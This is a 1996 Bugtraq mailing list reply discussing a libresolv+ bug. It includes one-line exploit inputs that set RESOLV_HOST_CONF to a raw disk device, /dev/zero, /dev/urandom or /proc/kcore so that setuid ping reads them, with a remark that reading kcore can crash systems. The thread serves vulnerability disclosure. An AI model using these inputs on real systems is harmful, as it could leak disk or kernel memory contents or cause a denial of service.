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Re: libresolv+ bug

daemon@ATHENA.MIT.EDU (Jon Lewis)
Wed Aug 21 13:31:33 1996

Date: 	Wed, 21 Aug 1996 00:13:58 -0400
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Jon Lewis <jlewis@inorganic5.fdt.net>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
In-Reply-To:  <199608210047.KAA17940@godzilla.zeta.org.au>

On Wed, 21 Aug 1996, Nick Andrew wrote:

> How about:
>
> RESOLV_HOST_CONF=/dev/sda1 ping asdf

Or perhaps worse would be the following:
RESOLV_HOST_CONF=/dev/zero
RESOLV_HOST_CONF=/dev/urandom
RESOLV_HOST_CONF=/proc/kcore

I hear some systems will crash if you read all of /proc/kcore.

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